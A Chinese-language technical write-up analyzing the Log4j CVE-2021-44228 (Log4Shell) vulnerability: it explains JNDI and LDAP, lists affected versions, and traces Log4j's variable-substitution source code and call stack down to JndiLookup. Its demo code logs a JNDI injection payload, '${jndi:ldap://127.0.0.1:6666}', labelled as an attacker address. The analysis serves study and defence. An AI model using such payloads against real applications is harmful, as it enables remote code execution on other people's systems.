概述

Log4j这个日志工具还是很好用的,支持更灵活的日志格式,不用重启程序就能动态调整日志级别,线程安全等等,我之前写 Java 的时候就经常用。

2021 年 12 月,Log4j的一个严重安全漏洞(CVE-2021-44228),被披露。这个漏洞允许攻击者远程执行任意代码,只要能够控制到应用程序的日志输入。由于Log4j在企业应用中的普及性,这个漏洞影响范围极广,安全威胁极高。

关键组件

JNDI

Java Naming and Directory Interface (JNDI)是 Java 提供的一套 API,它允许 Java 应用通过名称发现和查看数据和对象。这些数据和对象可以存储在不同的命名和目录服务中,如:LDAP、DNS、RMI。

LDAP

Lightweight Directory Access Protocol (LDAP)是一个用于访问和维护分布式目录信息服务的协议。在企业中,LDAP 通常用户存储用户的身份信息和权限,允许用户通过单一的凭证访问网络中的多个系统。

影响版本

受影响的版本:

  • Apache Log4j 2.0-beta9 - 2.14.1

环境

openjdk 11.0.21

log4j 2.14.1

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Demo {
public static final Logger logger = LogManager.getLogger(Demo.class);

public static void main(String[] args) {
// 攻击者地址
String message = "${jndi:ldap://127.0.0.1:6666}";
logger.error(message);
}
}

代码分析

分析的目标是找到${}处理的位置,因为只有在处理这个占位符的时刻才会解析我们的输入。

跟进error方法,查看message是如何处理的。

1
2
3
4
@Override
public void error(final String message) {
logIfEnabled(FQCN, Level.ERROR, null, message, (Throwable) null);
}

实现中并没有对message的处理,继续跟进logIfEnabled

1
2
3
4
5
6
7
@Override
public void logIfEnabled(final String fqcn, final Level level, final Marker marker, final String message,
final Throwable throwable) {
if (isEnabled(level, marker, message, throwable)) {
logMessage(fqcn, level, marker, message, throwable);
}
}

继续跟进logMessage

1
2
3
4
protected void logMessage(final String fqcn, final Level level, final Marker marker, final String message,
final Throwable throwable) {
logMessageSafely(fqcn, level, marker, messageFactory.newMessage(message), throwable);
}

发现使用messageFactory.newMessage处理了 message。

跟进后发现只是将格式化后的message字符串设置到消息包装器中,于是继续跟进logMessageSafely

之后还是看有没有对 message 的处理,接着跟进,跟进过程省略,需要注意的是ReusableLogEventFactory中将message封装在了result中,因此LoggerConfig中要跟进log方法追踪event的处理。

image-20240318144327139

toSerializable的作用是构建序列化后的日志字符串。当前 i 的值是 1,拼接了当前时间和[。当 i 为 8 时,buffer 的值为13:47:51.446 [main] ERROR Poc - ,正式开始处理我们构建的message。跟进format方法。

定位到了处理${}的位置。

image-20240318152531275

查看满足${格式后的字符串修改逻辑,跟进config.getStrSubstitutor().replace()

image-20240318155406283

具体解析变量的代码在 substitute 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
List<String> priorVariables) {
// 初始化变量
final StrMatcher prefixMatcher = getVariablePrefixMatcher();
final StrMatcher suffixMatcher = getVariableSuffixMatcher();
final char escape = getEscapeChar();
final StrMatcher valueDelimiterMatcher = getValueDelimiterMatcher();
final boolean substitutionInVariablesEnabled = isEnableSubstitutionInVariables();

final boolean top = priorVariables == null;
boolean altered = false;
int lengthChange = 0;
char[] chars = getChars(buf);
int bufEnd = offset + length;
int pos = offset;
// 遍历buffer
while (pos < bufEnd) {
final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd);
if (startMatchLen == 0) {
pos++;
} else // 去除前缀前的转义字符串
if (pos > offset && chars[pos - 1] == escape) {
buf.deleteCharAt(pos - 1);
chars = getChars(buf);
lengthChange--;
altered = true;
bufEnd--;
} else {
// 找到前缀${
final int startPos = pos;
pos += startMatchLen;
int endMatchLen = 0;
int nestedVarCount = 0;
while (pos < bufEnd) {
if (substitutionInVariablesEnabled
&& (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
// 找到前缀${则开始找后缀}
nestedVarCount++;
pos += endMatchLen;
continue;
}
endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
if (endMatchLen == 0) {
pos++;
} else {
// 找到后缀
if (nestedVarCount == 0) {
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
if (substitutionInVariablesEnabled) {
final StringBuilder bufName = new StringBuilder(varNameExpr);
substitute(event, bufName, 0, bufName.length());
varNameExpr = bufName.toString();
}
pos += endMatchLen;
final int endPos = pos;

String varName = varNameExpr;
String varDefaultValue = null;

if (valueDelimiterMatcher != null) {
final char [] varNameExprChars = varNameExpr.toCharArray();
int valueDelimiterMatchLen = 0;
for (int i = 0; i < varNameExprChars.length; i++) {
// 一旦找到了变量的结束,就将变量名提取出来。如果提供了默认值分隔符(如:)还会处理默认值。
if (!substitutionInVariablesEnabled
&& prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
break;
}
if (valueEscapeDelimiterMatcher != null) {
int matchLen = valueEscapeDelimiterMatcher.isMatch(varNameExprChars, i);
if (matchLen != 0) {
String varNamePrefix = varNameExpr.substring(0, i) + Interpolator.PREFIX_SEPARATOR;
varName = varNamePrefix + varNameExpr.substring(i + matchLen - 1);
for (int j = i + matchLen; j < varNameExprChars.length; ++j){
if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, j)) != 0) {
varName = varNamePrefix + varNameExpr.substring(i + matchLen, j);
varDefaultValue = varNameExpr.substring(j + valueDelimiterMatchLen);
break;
}
}
break;
} else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
} else if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
}
}

// 第一次启动时初始化priorVariables
if (priorVariables == null) {
priorVariables = new ArrayList<>();
priorVariables.add(new String(chars, offset, length + lengthChange));
}

// 检查priorVariables避免循环引用
checkCyclicSubstitution(varName, priorVariables);
priorVariables.add(varName);

// **解析变量**
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
if (varValue == null) {
varValue = varDefaultValue;
}
if (varValue != null) {
// 递归替换
final int varLen = varValue.length();
buf.replace(startPos, endPos, varValue);
altered = true;
int change = substitute(event, buf, startPos, varLen, priorVariables);
change = change + (varLen - (endPos - startPos));
pos += change;
bufEnd += change;
lengthChange += change;
chars = getChars(buf); // in case buffer was altered
}

// remove variable from the cyclic stack
priorVariables.remove(priorVariables.size() - 1);
break;
}
nestedVarCount--;
pos += endMatchLen;
}
}
}
}
if (top) {
return altered ? 1 : 0;
}
return lengthChange;
}

跟进resolveVariable方法,接着跟进 lookup 方法。

1
2
3
4
5
6
7
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
return resolver.lookup(event, variableName);
}

image-20240318165817538

接着跟进JndiLookuplookup方法,接着跟进jndiManager.lookup()到达目的地。

image-20240318170449590

最终调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:11, Poc